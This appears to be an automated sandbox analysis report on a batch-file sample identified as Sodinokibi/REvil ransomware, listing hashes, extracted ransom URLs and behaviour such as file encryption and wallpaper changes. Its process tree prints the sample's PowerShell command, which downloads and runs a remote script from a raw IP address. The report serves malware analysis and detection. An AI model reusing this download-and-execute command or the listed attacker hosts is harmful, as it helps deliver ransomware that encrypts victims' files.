Analysis
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max time kernel
43s -
max time network
52s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
23-08-2020 00:10
Static task
static1
Behavioral task
behavioral1
Sample
25670aeb8c557614c06e34c5a9c253e5.bat
Resource
win7v200722
Behavioral task
behavioral2
Sample
25670aeb8c557614c06e34c5a9c253e5.bat
Resource
win10
General
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Target
25670aeb8c557614c06e34c5a9c253e5.bat
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Size
219B
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MD5
c052ffa560e4de5251e2ea89d88526b5
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SHA1
5f0a6636545f8107c02801a0a190a1a8c274b190
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SHA256
5949574200b2d571b720bac31031f7a5b01d4224da05e5cd5064156972eba462
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SHA512
f5f8fc051da52356820f62fd5088115bb5108d6cb37b2c13f0538816f84247f24d0188988407d8a9351ebd1ed5275a3c74daa49c6c6dcae02241b175a5a79f84
Malware Config
Extracted
http://185.103.242.78/pastes/25670aeb8c557614c06e34c5a9c253e5
Extracted
C:\y51yj-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2B4A499010E7BCEC
http://decryptor.cc/2B4A499010E7BCEC
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 3 1676 powershell.exe -
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
powershell.exedescription ioc process File renamed C:\Users\Admin\Pictures\CompressOptimize.raw => \??\c:\users\admin\pictures\CompressOptimize.raw.y51yj powershell.exe File renamed C:\Users\Admin\Pictures\GrantSelect.png => \??\c:\users\admin\pictures\GrantSelect.png.y51yj powershell.exe -
Enumerates connected drives 3 TTPs
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Modifies service 2 TTPs 5 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\64d236u643.bmp" powershell.exe -
Drops file in Program Files directory 40 IoCs
Processes:
powershell.exedescription ioc process File opened for modification \??\c:\program files\ShowRestore.ADTS powershell.exe File created \??\c:\program files\y51yj-readme.txt powershell.exe File opened for modification \??\c:\program files\CloseBlock.vsw powershell.exe File opened for modification \??\c:\program files\ConfirmAssert.gif powershell.exe File opened for modification \??\c:\program files\GroupDismount.rm powershell.exe File opened for modification \??\c:\program files\OutJoin.mp4v powershell.exe File opened for modification \??\c:\program files\ReceiveAssert.asp powershell.exe File created \??\c:\program files (x86)\y51yj-readme.txt powershell.exe File opened for modification \??\c:\program files\StartTrace.wm powershell.exe File opened for modification \??\c:\program files\SubmitPush.mp4 powershell.exe File opened for modification \??\c:\program files\SyncShow.xlsx powershell.exe File opened for modification \??\c:\program files\SyncStart.mp4v powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\y51yj-readme.txt powershell.exe File opened for modification \??\c:\program files\UseCompare.sql powershell.exe File opened for modification \??\c:\program files\DebugAdd.AAC powershell.exe File opened for modification \??\c:\program files\DebugExpand.mpe powershell.exe File opened for modification \??\c:\program files\ExportTrace.mp2v powershell.exe File opened for modification \??\c:\program files\GrantHide.m4a powershell.exe File opened for modification \??\c:\program files\OpenSync.xlt powershell.exe File opened for modification \??\c:\program files\StartUnlock.xsl powershell.exe File created \??\c:\program files\microsoft sql server compact edition\y51yj-readme.txt powershell.exe File opened for modification \??\c:\program files\ConfirmPing.vstx powershell.exe File opened for modification \??\c:\program files\InstallEdit.mp2 powershell.exe File opened for modification \??\c:\program files\ResizeOut.ods powershell.exe File opened for modification \??\c:\program files\TestResolve.M2TS powershell.exe File opened for modification \??\c:\program files\UseAdd.au3 powershell.exe File opened for modification \??\c:\program files\EnableShow.temp powershell.exe File opened for modification \??\c:\program files\PushBlock.vstm powershell.exe File opened for modification \??\c:\program files\UnprotectConvertFrom.mpv2 powershell.exe File opened for modification \??\c:\program files\ConvertAssert.txt powershell.exe File opened for modification \??\c:\program files\DisconnectSave.vbs powershell.exe File opened for modification \??\c:\program files\GroupCompress.wmv powershell.exe File opened for modification \??\c:\program files\SelectInitialize.mov powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\desktop\y51yj-readme.txt powershell.exe File opened for modification \??\c:\program files\CompleteClose.tif powershell.exe File opened for modification \??\c:\program files\MergeRemove.m4v powershell.exe File opened for modification \??\c:\program files\SendProtect.ppt powershell.exe File opened for modification \??\c:\program files\StartRegister.tif powershell.exe File opened for modification \??\c:\program files\UnlockApprove.odt powershell.exe File opened for modification \??\c:\program files\WatchRevoke.vsdm powershell.exe -
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
Processes:
powershell.exepid process 1676 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 1676 powershell.exe 1676 powershell.exe 1676 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1676 powershell.exe Token: SeDebugPrivilege 1676 powershell.exe Token: SeTakeOwnershipPrivilege 1676 powershell.exe Token: SeBackupPrivilege 1816 vssvc.exe Token: SeRestorePrivilege 1816 vssvc.exe Token: SeAuditPrivilege 1816 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
cmd.exedescription pid process target process PID 1516 wrote to memory of 1676 1516 cmd.exe powershell.exe PID 1516 wrote to memory of 1676 1516 cmd.exe powershell.exe PID 1516 wrote to memory of 1676 1516 cmd.exe powershell.exe PID 1516 wrote to memory of 1676 1516 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\25670aeb8c557614c06e34c5a9c253e5.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1516 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/25670aeb8c557614c06e34c5a9c253e5');Invoke-AMKGYOMYBGBS;Start-Sleep -s 10000"2⤵
- Blacklisted process makes network request
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1676
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1816